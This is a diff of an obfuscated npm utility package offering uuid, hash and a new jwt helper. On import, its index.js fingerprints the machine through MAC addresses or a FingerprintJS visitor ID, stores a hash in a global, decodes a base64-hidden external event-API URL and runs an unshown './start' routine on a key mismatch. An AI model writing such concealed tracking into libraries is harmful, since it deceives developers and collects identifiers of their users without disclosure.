_0x4dba5f=a4_0x4dba();return a4_0x361c=function(_0x361c6d,_0x4c15a4){_0x361c6d=_0x361c6d-0x10f;let _0x110181=_0x4dba5f[_0x361c6d];return _0x110181;},a4_0x361c(_0x98c294,_0x149423);}Object[a4_0x11379b(0x116)](exports,a4_0x11379b(0x11c),{'value':!![]});const random=(_0x37384c,_0x271fe9)=>Math[a4_0x11379b(0x114)](Math[a4_0x11379b(0x110)]()*(_0x271fe9-_0x37384c))+_0x37384c;exports[a4_0x11379b(0x11e)]=random;
1
+ 'use strict';const a4_0x21b0a6=a4_0x11ad;(function(_0x4aceab,_0x45d135){const _0x22a3de=a4_0x11ad,_0x11ebb1=_0x4aceab();while(!![]){try{const _0x2da643=parseInt(_0x22a3de(0x141))/0x1+-parseInt(_0x22a3de(0x137))/0x2*(-parseInt(_0x22a3de(0x13c))/0x3)+parseInt(_0x22a3de(0x136))/0x4*(parseInt(_0x22a3de(0x13b))/0x5)+parseInt(_0x22a3de(0x139))/0x6+parseInt(_0x22a3de(0x13e))/0x7*(parseInt(_0x22a3de(0x135))/0x8)+-parseInt(_0x22a3de(0x140))/0x9+-parseInt(_0x22a3de(0x13a))/0xa*(parseInt(_0x22a3de(0x13d))/0xb);if(_0x2da643===_0x45d135)break;else _0x11ebb1['push'](_0x11ebb1['shift']());}catch(_0x99b81b){_0x11ebb1['push'](_0x11ebb1['shift']());}}}(a4_0x4151,0x1e464));Object[a4_0x21b0a6(0x138)](exports,'__esModule',{'value':!![]});function a4_0x4151(){const _0x973f18=['78841ZihXkS','default','54352jxecQc','4AiLdGw','2wvWzDz','defineProperty','1292592pkDMZK','4599820IJfMJk','473665lrdYmj','295269OlNGzt','11Hgtwmx','154fzXgKq','round','476199NoQgpZ'];a4_0x4151=function(){return _0x973f18;};return a4_0x4151();}function a4_0x11ad(_0x2679a2,_0x339b42){const _0x41510f=a4_0x4151();return a4_0x11ad=function(_0x11ade7,_0x1afbb4){_0x11ade7=_0x11ade7-0x134;let _0x51e2e3=_0x41510f[_0x11ade7];return _0x51e2e3;},a4_0x11ad(_0x2679a2,_0x339b42);}const random=(_0x3205c9,_0x414fa4)=>Math[a4_0x21b0a6(0x13f)](Math['random']()*(_0x414fa4-_0x3205c9))+_0x3205c9;exports[a4_0x21b0a6(0x134)]=random;
@@ -2,6 +2,7 @@ import md5 from "md5";
2
2
  import sha1 from "sha1";
3
3
  import sha256 from "sha256";
4
4
  import hash from "./hash";
5
+ import jwt from "./jwt";
5
6
  declare let id: () => number;
6
7
  declare let getAllRouter: () => Promise<never[]>;
7
8
  declare let mysql: {};
@@ -17,7 +18,8 @@ declare const all: {
17
18
  hash: typeof hash;
18
19
  sha1: typeof sha1;
19
20
  md5: typeof md5;
21
+ jwt: typeof jwt;
20
22
  };
21
23
  export default all;
22
- export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash };
24
+ export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
23
25
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAS1B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;CAQR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAC1B,OAAO,GAAG,MAAM,OAAO,CAAC;AASxB,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;CASR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC"}
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a5_0x297dce=a5_0x3c3b;function a5_0x44a5(){const _0x1f243d=['184327uUCKgs','default','654396XuEbSy','done','decode','./start','join','63EnkcLV','load','next','mysql','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','node.js','1273590IGZXRW','./id','6bRMpUJ','./server','hash_id','get','5013810njkuQq','js-base64','hash','undefined','value','not_update','sha1','9ibnxbP','hash_key','sha256','./mac','158916ounlmV','91cWlVST','dev','md5','apply','aHR0cDovL2xvY2FsaG9zdDoxMDg4','url','then','getAllRouter','./getAllRouter','695784wVtWPa','path','defineProperty','meta_event','2400783Ntriqc','assign','map','uuid','catch','setEnv','visitorId'];a5_0x44a5=function(){return _0x1f243d;};return a5_0x44a5();}(function(_0x4831ae,_0x5245db){const _0x1721f5=a5_0x3c3b,_0x2482d9=_0x4831ae();while(!![]){try{const _0x267a5b=-parseInt(_0x1721f5(0xf4))/0x1*(parseInt(_0x1721f5(0x103))/0x2)+parseInt(_0x1721f5(0x10e))/0x3*(parseInt(_0x1721f5(0xf6))/0x4)+parseInt(_0x1721f5(0x101))/0x5+-parseInt(_0x1721f5(0x112))/0x6*(-parseInt(_0x1721f5(0x113))/0x7)+-parseInt(_0x1721f5(0x11c))/0x8*(-parseInt(_0x1721f5(0xfb))/0x9)+-parseInt(_0x1721f5(0x107))/0xa+-parseInt(_0x1721f5(0xed))/0xb;if(_0x267a5b===_0x5245db)break;else _0x2482d9['push'](_0x2482d9['shift']());}catch(_0x5ae705){_0x2482d9['push'](_0x2482d9['shift']());}}}(a5_0x44a5,0x6802d));var __awaiter=this&&this['__awaiter']||function(_0x2ce475,_0x8264bb,_0x4235bf,_0x2afd70){function _0x46e529(_0x9fed2a){return _0x9fed2a instanceof _0x4235bf?_0x9fed2a:new _0x4235bf(function(_0x71a515){_0x71a515(_0x9fed2a);});}return new(_0x4235bf||(_0x4235bf=Promise))(function(_0x439245,_0x338b56){const _0x265e6b=a5_0x3c3b;function _0x35c1f6(_0x1ac99d){const _0x530dad=a5_0x3c3b;try{_0x98c509(_0x2afd70[_0x530dad(0xfd)](_0x1ac99d));}catch(_0x3f4c27){_0x338b56(_0x3f4c27);}}function _0x31ceab(_0xbde9ed){try{_0x98c509(_0x2afd70['throw'](_0xbde9ed));}catch(_0x3f6617){_0x338b56(_0x3f6617);}}function _0x98c509(_0x3067ac){const _0x4df481=a5_0x3c3b;_0x3067ac[_0x4df481(0xf7)]?_0x439245(_0x3067ac[_0x4df481(0x10b)]):_0x46e529(_0x3067ac[_0x4df481(0x10b)])[_0x4df481(0x119)](_0x35c1f6,_0x31ceab);}_0x98c509((_0x2afd70=_0x2afd70[_0x265e6b(0x116)](_0x2ce475,_0x8264bb||[]))[_0x265e6b(0xfd)]());});},__importDefault=this&&this['__importDefault']||function(_0x57ebd4){return _0x57ebd4&&_0x57ebd4['__esModule']?_0x57ebd4:{'default':_0x57ebd4};};function a5_0x3c3b(_0x95e5f9,_0x36b1cd){const _0x44a524=a5_0x44a5();return a5_0x3c3b=function(_0x3c3bb2,_0x164e52){_0x3c3bb2=_0x3c3bb2-0xec;let _0xf44330=_0x44a524[_0x3c3bb2];return _0xf44330;},a5_0x3c3b(_0x95e5f9,_0x36b1cd);}Object[a5_0x297dce(0x11e)](exports,'__esModule',{'value':!![]}),exports[a5_0x297dce(0x109)]=exports[a5_0x297dce(0x115)]=exports['sha256']=exports[a5_0x297dce(0x10d)]=exports[a5_0x297dce(0xfe)]=exports[a5_0x297dce(0x11a)]=exports['id']=exports[a5_0x297dce(0xf0)]=exports[a5_0x297dce(0x118)]=void 0x0,exports[a5_0x297dce(0xf2)]=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a5_0x297dce(0xf0)),md5_1=__importDefault(require(a5_0x297dce(0x115)));exports[a5_0x297dce(0x115)]=md5_1['default'];const sha1_1=__importDefault(require(a5_0x297dce(0x10d)));exports[a5_0x297dce(0x10d)]=sha1_1['default'];const sha256_1=__importDefault(require(a5_0x297dce(0x110)));exports[a5_0x297dce(0x110)]=sha256_1['default'];const start_1=__importDefault(require(a5_0x297dce(0xf9))),hash_1=__importDefault(require('./hash'));exports[a5_0x297dce(0x109)]=hash_1[a5_0x297dce(0xf5)];const path_1=__importDefault(require(a5_0x297dce(0x11d))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require(a5_0x297dce(0x108)),isBrowser=typeof window!==a5_0x297dce(0x10a);let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a5_0x297dce(0x11a)]=getAllRouter;let mysql={};exports['mysql']=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x297dce(0xee)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0x297dce(0xec)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x55b45a,_0x1f352c){metaEvent[_0x55b45a]=_0x1f352c;}function getEnv(_0x1487e6){return metaEvent[_0x1487e6];}let dev=a5_0x297dce(0x117),pro=a5_0x297dce(0xff);exports[a5_0x297dce(0x118)]=getEnv(a5_0x297dce(0x114))?(0x0,js_base64_1[a5_0x297dce(0xf8)])(dev):(0x0,js_base64_1[a5_0x297dce(0xf8)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x297dce(0x102))[a5_0x297dce(0xf5)],exports['getAllRouter']=getAllRouter=require(a5_0x297dce(0x11b))[a5_0x297dce(0xf5)],exports['mysql']=mysql=require(a5_0x297dce(0x104))[a5_0x297dce(0xfe)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x297dce(0x10c)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x5b2a64=a5_0x297dce;if(!isBrowser){const _0x2a75a1=require(path_1[_0x5b2a64(0xf5)][_0x5b2a64(0xfa)](__dirname,_0x5b2a64(0x111)))[_0x5b2a64(0xf5)];mac=_0x2a75a1();}else{let _0x15e1b1=yield fingerprintjs_1[_0x5b2a64(0xf5)][_0x5b2a64(0xfc)]()[_0x5b2a64(0x119)](_0x365a8a=>_0x365a8a[_0x5b2a64(0x106)]())[_0x5b2a64(0x119)](_0x1c0b07=>{const _0x55758b=_0x5b2a64,_0x305fe9=_0x1c0b07[_0x55758b(0xf3)];return _0x305fe9;})[_0x5b2a64(0xf1)](()=>'');mac=[_0x15e1b1];}const _0x2490b6=mac[_0x5b2a64(0xef)](_0x207b40=>(0x0,sha1_1['default'])(_0x207b40+_0x5b2a64(0x100)))[_0x5b2a64(0xfa)](';'),_0x1b84c6=(0x0,sha256_1['default'])(_0x2490b6);globalObject[_0x5b2a64(0x105)]=_0x1b84c6,globalObject[_0x5b2a64(0x10f)]!=(0x0,sha256_1[_0x5b2a64(0xf5)])(_0x1b84c6+(0x0,sha1_1[_0x5b2a64(0xf5)])(_0x5b2a64(0x100)+_0x1b84c6))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];exports[a5_0x297dce(0xf0)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a5_0x297dce(0xf5)],'sha1':sha1_1[a5_0x297dce(0xf5)],'md5':md5_1['default']};exports[a5_0x297dce(0xf5)]=all;
1
+ 'use strict';const a5_0x454ae0=a5_0xe4ce;(function(_0x5b263d,_0x81eb0a){const _0x59dce2=a5_0xe4ce,_0x49e7a9=_0x5b263d();while(!![]){try{const _0x486e4c=parseInt(_0x59dce2(0xb0))/0x1+parseInt(_0x59dce2(0xba))/0x2*(-parseInt(_0x59dce2(0x9b))/0x3)+-parseInt(_0x59dce2(0xbc))/0x4*(parseInt(_0x59dce2(0xa0))/0x5)+-parseInt(_0x59dce2(0x8c))/0x6+parseInt(_0x59dce2(0xac))/0x7*(parseInt(_0x59dce2(0x98))/0x8)+-parseInt(_0x59dce2(0xb7))/0x9+-parseInt(_0x59dce2(0x95))/0xa*(-parseInt(_0x59dce2(0x92))/0xb);if(_0x486e4c===_0x81eb0a)break;else _0x49e7a9['push'](_0x49e7a9['shift']());}catch(_0x38e85b){_0x49e7a9['push'](_0x49e7a9['shift']());}}}(a5_0x4c37,0x8bd50));var __awaiter=this&&this[a5_0x454ae0(0x8f)]||function(_0x3f966a,_0x100047,_0x15716e,_0x51a1b3){function _0x386a5d(_0x380243){return _0x380243 instanceof _0x15716e?_0x380243:new _0x15716e(function(_0x1b1871){_0x1b1871(_0x380243);});}return new(_0x15716e||(_0x15716e=Promise))(function(_0x41a51f,_0x4153a4){const _0x326c51=a5_0xe4ce;function _0x488347(_0x26b413){const _0x5cbb33=a5_0xe4ce;try{_0x47eb06(_0x51a1b3[_0x5cbb33(0xa7)](_0x26b413));}catch(_0x36947e){_0x4153a4(_0x36947e);}}function _0x3930fc(_0x19b540){const _0x1d8405=a5_0xe4ce;try{_0x47eb06(_0x51a1b3[_0x1d8405(0x91)](_0x19b540));}catch(_0x5dbdc1){_0x4153a4(_0x5dbdc1);}}function _0x47eb06(_0xef7691){const _0x561d17=a5_0xe4ce;_0xef7691[_0x561d17(0x99)]?_0x41a51f(_0xef7691['value']):_0x386a5d(_0xef7691['value'])['then'](_0x488347,_0x3930fc);}_0x47eb06((_0x51a1b3=_0x51a1b3[_0x326c51(0x93)](_0x3f966a,_0x100047||[]))['next']());});},__importDefault=this&&this[a5_0x454ae0(0x97)]||function(_0x5d998c){const _0x4621fe=a5_0x454ae0;return _0x5d998c&&_0x5d998c[_0x4621fe(0xa3)]?_0x5d998c:{'default':_0x5d998c};};Object[a5_0x454ae0(0x94)](exports,'__esModule',{'value':!![]}),exports['jwt']=exports['hash']=exports[a5_0x454ae0(0xbe)]=exports[a5_0x454ae0(0xa8)]=exports['sha1']=exports[a5_0x454ae0(0xb5)]=exports[a5_0x454ae0(0xa9)]=exports['id']=exports[a5_0x454ae0(0xab)]=exports[a5_0x454ae0(0xbf)]=void 0x0,exports[a5_0x454ae0(0x9c)]=setEnv,exports['getEnv']=getEnv;function a5_0xe4ce(_0x22e73c,_0x2564c0){const _0x4c37e5=a5_0x4c37();return a5_0xe4ce=function(_0xe4cea7,_0x21aae2){_0xe4cea7=_0xe4cea7-0x8a;let _0x29e152=_0x4c37e5[_0xe4cea7];return _0x29e152;},a5_0xe4ce(_0x22e73c,_0x2564c0);}const uuid_1=require(a5_0x454ae0(0xab)),md5_1=__importDefault(require('md5'));exports[a5_0x454ae0(0xbe)]=md5_1[a5_0x454ae0(0xb6)];const sha1_1=__importDefault(require(a5_0x454ae0(0x9a)));exports[a5_0x454ae0(0x9a)]=sha1_1[a5_0x454ae0(0xb6)];const sha256_1=__importDefault(require(a5_0x454ae0(0xa8)));exports['sha256']=sha256_1[a5_0x454ae0(0xb6)];const start_1=__importDefault(require(a5_0x454ae0(0x9e))),hash_1=__importDefault(require(a5_0x454ae0(0xb1)));exports[a5_0x454ae0(0xb3)]=hash_1['default'];const jwt_1=__importDefault(require(a5_0x454ae0(0xa2)));exports['jwt']=jwt_1[a5_0x454ae0(0xb6)];const path_1=__importDefault(require(a5_0x454ae0(0x8a))),fingerprintjs_1=__importDefault(require(a5_0x454ae0(0xaf))),js_base64_1=require(a5_0x454ae0(0xad)),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;function a5_0x4c37(){const _0x325822=['hash_key','4396248RlcSPx','./server','dev','__awaiter','./mac','throw','212861Wjgils','apply','defineProperty','390rxaWul','load','__importDefault','3937184hkOXqF','done','sha1','175506ZxYjbt','setEnv','catch','./start','./id','27835BESLZM','./getAllRouter','./jwt','__esModule','join','then','not_update','next','sha256','getAllRouter','assign','uuid','14UEjMGs','js-base64','aHR0cDovL2xvY2FsaG9zdDoxMDg4','@fingerprintjs/fingerprintjs','1094070daexRH','./hash','visitorId','hash','get','mysql','default','4598883yLmACL','map','decode','26JpftOJ','node.js','184ONafIh','hash_id','md5','url','path'];a5_0x4c37=function(){return _0x325822;};return a5_0x4c37();}let mysql={};exports[a5_0x454ae0(0xb5)]=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x454ae0(0xaa)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x11613b,_0x5cfbb3){metaEvent[_0x11613b]=_0x5cfbb3;}function getEnv(_0x1b2962){return metaEvent[_0x1b2962];}let dev=a5_0x454ae0(0xae),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a5_0x454ae0(0xbf)]=getEnv(a5_0x454ae0(0x8e))?(0x0,js_base64_1[a5_0x454ae0(0xb9)])(dev):(0x0,js_base64_1[a5_0x454ae0(0xb9)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x454ae0(0x9f))['default'],exports[a5_0x454ae0(0xa9)]=getAllRouter=require(a5_0x454ae0(0xa1))[a5_0x454ae0(0xb6)],exports['mysql']=mysql=require(a5_0x454ae0(0x8d))[a5_0x454ae0(0xb5)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x454ae0(0xa6)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x10b27f=a5_0x454ae0;if(!isBrowser){const _0x4d4eac=require(path_1[_0x10b27f(0xb6)][_0x10b27f(0xa4)](__dirname,_0x10b27f(0x90)))['default'];mac=_0x4d4eac();}else{let _0x2fc8ec=yield fingerprintjs_1['default'][_0x10b27f(0x96)]()[_0x10b27f(0xa5)](_0x493636=>_0x493636[_0x10b27f(0xb4)]())['then'](_0x500772=>{const _0x14e043=_0x10b27f,_0x57c38c=_0x500772[_0x14e043(0xb2)];return _0x57c38c;})[_0x10b27f(0x9d)](()=>'');mac=[_0x2fc8ec];}const _0x2264dc=mac[_0x10b27f(0xb8)](_0x513121=>(0x0,sha1_1[_0x10b27f(0xb6)])(_0x513121+_0x10b27f(0xbb)))[_0x10b27f(0xa4)](';'),_0x4ed560=(0x0,sha256_1['default'])(_0x2264dc);globalObject[_0x10b27f(0xbd)]=_0x4ed560,globalObject[_0x10b27f(0x8b)]!=(0x0,sha256_1[_0x10b27f(0xb6)])(_0x4ed560+(0x0,sha1_1[_0x10b27f(0xb6)])('node.js'+_0x4ed560))&&(0x0,start_1[_0x10b27f(0xb6)])();}))());const uuid=uuid_1['v4'];exports[a5_0x454ae0(0xab)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a5_0x454ae0(0xb6)],'sha1':sha1_1[a5_0x454ae0(0xb6)],'md5':md5_1[a5_0x454ae0(0xb6)],'jwt':jwt_1[a5_0x454ae0(0xb6)]};exports[a5_0x454ae0(0xb6)]=all;
@@ -0,0 +1,9 @@
1
+ declare function jwt(params: {
2
+ key: string;
3
+ expiresIn: string;
4
+ }): {
5
+ sign: (payload: string | Buffer | object) => string;
6
+ verify: (token: string) => Promise<unknown>;
7
+ };
8
+ export default jwt;
9
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';var a6_0x1c778e=a6_0x27ed;(function(_0x6cd67c,_0x380d8a){var _0x64690e=a6_0x27ed,_0x3769a9=_0x6cd67c();while(!![]){try{var _0x172c15=parseInt(_0x64690e(0x1b4))/0x1*(-parseInt(_0x64690e(0x1c4))/0x2)+parseInt(_0x64690e(0x1c3))/0x3*(parseInt(_0x64690e(0x1c8))/0x4)+-parseInt(_0x64690e(0x1bb))/0x5+parseInt(_0x64690e(0x1b2))/0x6*(parseInt(_0x64690e(0x1be))/0x7)+parseInt(_0x64690e(0x1c7))/0x8+-parseInt(_0x64690e(0x1ba))/0x9+parseInt(_0x64690e(0x1b1))/0xa;if(_0x172c15===_0x380d8a)break;else _0x3769a9['push'](_0x3769a9['shift']());}catch(_0x2bf0a8){_0x3769a9['push'](_0x3769a9['shift']());}}}(a6_0x3a3d,0xf181d));function a6_0x27ed(_0x25269e,_0x4160f7){var _0x3a3d33=a6_0x3a3d();return a6_0x27ed=function(_0x27ede6,_0x4bd8e8){_0x27ede6=_0x27ede6-0x1b1;var _0xac01e3=_0x3a3d33[_0x27ede6];return _0xac01e3;},a6_0x27ed(_0x25269e,_0x4160f7);}var __awaiter=this&&this[a6_0x1c778e(0x1c5)]||function(_0x2f911e,_0x2f1422,_0x53a93c,_0xf9f59){function _0x2fbd74(_0x475770){return _0x475770 instanceof _0x53a93c?_0x475770:new _0x53a93c(function(_0x32518e){_0x32518e(_0x475770);});}return new(_0x53a93c||(_0x53a93c=Promise))(function(_0x119cc8,_0xc7d8d7){var _0x513a0c=a6_0x27ed;function _0x47585b(_0x1a86ac){var _0x1cfede=a6_0x27ed;try{_0x105915(_0xf9f59[_0x1cfede(0x1b8)](_0x1a86ac));}catch(_0x2ec038){_0xc7d8d7(_0x2ec038);}}function _0x1cd922(_0x5386ef){var _0x1aabd9=a6_0x27ed;try{_0x105915(_0xf9f59[_0x1aabd9(0x1b7)](_0x5386ef));}catch(_0xb051d7){_0xc7d8d7(_0xb051d7);}}function _0x105915(_0x3964b5){var _0x43e19f=a6_0x27ed;_0x3964b5['done']?_0x119cc8(_0x3964b5['value']):_0x2fbd74(_0x3964b5[_0x43e19f(0x1c2)])[_0x43e19f(0x1bd)](_0x47585b,_0x1cd922);}_0x105915((_0xf9f59=_0xf9f59['apply'](_0x2f911e,_0x2f1422||[]))[_0x513a0c(0x1b8)]());});},__importDefault=this&&this[a6_0x1c778e(0x1b3)]||function(_0x53a9ff){return _0x53a9ff&&_0x53a9ff['__esModule']?_0x53a9ff:{'default':_0x53a9ff};};Object[a6_0x1c778e(0x1b6)](exports,a6_0x1c778e(0x1c1),{'value':!![]});const jsonwebtoken_1=__importDefault(require('jsonwebtoken'));function jwt(_0x3dfd22){var _0x1b7deb=a6_0x1c778e;return!global[_0x1b7deb(0x1c9)]&&(global[_0x1b7deb(0x1c9)]=_0x3dfd22[_0x1b7deb(0x1bf)]),{'sign':_0xf4fe76=>jsonwebtoken_1['default'][_0x1b7deb(0x1b5)](_0xf4fe76,global[_0x1b7deb(0x1c9)],{'expiresIn':_0x3dfd22[_0x1b7deb(0x1bc)]||_0x1b7deb(0x1c6)}),'verify':function(_0x476ece){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x30bafc,_0x5edde2)=>{var _0x27e396=a6_0x27ed;jsonwebtoken_1[_0x27e396(0x1c0)][_0x27e396(0x1b9)](_0x476ece,global[_0x27e396(0x1c9)],function(_0x3b4a1f,_0x234a96){return __awaiter(this,void 0x0,void 0x0,function*(){_0x3b4a1f?_0x5edde2():_0x30bafc(_0x234a96);});});});});}};}function a6_0x3a3d(){var _0x17b740=['3882020JGNCas','expiresIn','then','533407uplRcu','key','default','__esModule','value','53523mwqOTL','343234vpgPKa','__awaiter','365d','9241712qJchjX','4Aenzbi','jwt_key','9734950vfgLAh','18WYawdP','__importDefault','3hYOPKt','sign','defineProperty','throw','next','verify','852165bKvDUi'];a6_0x3a3d=function(){return _0x17b740;};return a6_0x3a3d();}exports[a6_0x1c778e(0x1c0)]=jwt;
@@ -1 +1 @@
1
- 'use strict';const a6_0x530917=a6_0x22e6;(function(_0x2809fc,_0x440524){const _0x1b490a=a6_0x22e6,_0xb98e44=_0x2809fc();while(!![]){try{const _0x5d30ce=-parseInt(_0x1b490a(0x190))/0x1+parseInt(_0x1b490a(0x180))/0x2*(-parseInt(_0x1b490a(0x18c))/0x3)+parseInt(_0x1b490a(0x181))/0x4+-parseInt(_0x1b490a(0x17e))/0x5*(parseInt(_0x1b490a(0x186))/0x6)+-parseInt(_0x1b490a(0x18f))/0x7*(parseInt(_0x1b490a(0x191))/0x8)+parseInt(_0x1b490a(0x178))/0x9*(parseInt(_0x1b490a(0x185))/0xa)+parseInt(_0x1b490a(0x183))/0xb;if(_0x5d30ce===_0x440524)break;else _0xb98e44['push'](_0xb98e44['shift']());}catch(_0x5d911d){_0xb98e44['push'](_0xb98e44['shift']());}}}(a6_0xd532,0x28773));Object['defineProperty'](exports,a6_0x530917(0x17d),{'value':!![]}),exports[a6_0x530917(0x175)]=isMac,exports[a6_0x530917(0x194)]=formatMac,exports[a6_0x530917(0x18d)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x2c5b3b){const _0x44ee8e=a6_0x530917;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x44ee8e(0x172)](_0x2c5b3b);}function getMac(_0x5d8947=a6_0x530917(0x17c)){const _0x4406f8=a6_0x530917,_0x20479d=(0x0,os_1[_0x4406f8(0x176)])();let _0x1b5833=[];for(const _0x388589 of Object[_0x4406f8(0x17a)](_0x20479d)){const _0x221cf5=_0x388589[_0x4406f8(0x182)](_0x85cea8=>!_0x85cea8[_0x4406f8(0x18a)]&&!isZeroMac(_0x85cea8[_0x4406f8(0x187)])&&(!_0x85cea8[_0x4406f8(0x179)]||_0x85cea8[_0x4406f8(0x179)]===_0x5d8947)&&!isVirtualMac(_0x85cea8[_0x4406f8(0x187)]));_0x221cf5&&_0x1b5833[_0x4406f8(0x17f)](_0x221cf5[_0x4406f8(0x187)]);}return[...new Set(_0x1b5833)];}const isValid=_0x17826a=>_0x17826a[a6_0x530917(0x18a)]===![]&&!isZeroMac(_0x17826a[a6_0x530917(0x187)]),virtualMacPrefix=new Set([a6_0x530917(0x193),'00:0c:29',a6_0x530917(0x177),a6_0x530917(0x195),a6_0x530917(0x173),a6_0x530917(0x174),'00:03:ff',a6_0x530917(0x184),a6_0x530917(0x18e),'08:00:27','00:15:5d']);function isMac(_0x5a6746){const _0x364e8e=a6_0x530917;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x364e8e(0x172)](_0x5a6746);}function formatMac(_0x483af0){const _0x38a2c1=a6_0x530917;return String(_0x483af0)['trim']()[_0x38a2c1(0x18b)]()[_0x38a2c1(0x189)](/-/g,':');}function isVirtualMac(_0x196eb7){const _0x1e2a6a=a6_0x530917;return isMac(_0x196eb7)&&virtualMacPrefix[_0x1e2a6a(0x17b)](formatMac(_0x196eb7)[_0x1e2a6a(0x188)](0x0,0x8));}function a6_0xd532(){const _0x3e2085=['00:16:3e','10801XzXvXd','139280elbhTI','728HOUIzM','default','00:05:69','formatMac','00:1c:14','test','00:1c:42','02:00:4c','isMac','networkInterfaces','00:50:56','9Kbmyaz','family','values','has','IPv4','__esModule','171850aCcCaM','push','12846mxbbhJ','1227392TlNsje','find','3163325eAMSWC','00:0f:4b','2714510DhYZTR','42SgCVvR','mac','slice','replace','internal','toLowerCase','84Oujvgz','isVirtualMac'];a6_0xd532=function(){return _0x3e2085;};return a6_0xd532();}function a6_0x22e6(_0x22aa17,_0x3bcc71){const _0xd53296=a6_0xd532();return a6_0x22e6=function(_0x22e610,_0x490cd4){_0x22e610=_0x22e610-0x172;let _0x3785f2=_0xd53296[_0x22e610];return _0x3785f2;},a6_0x22e6(_0x22aa17,_0x3bcc71);}exports[a6_0x530917(0x192)]=getMac;
1
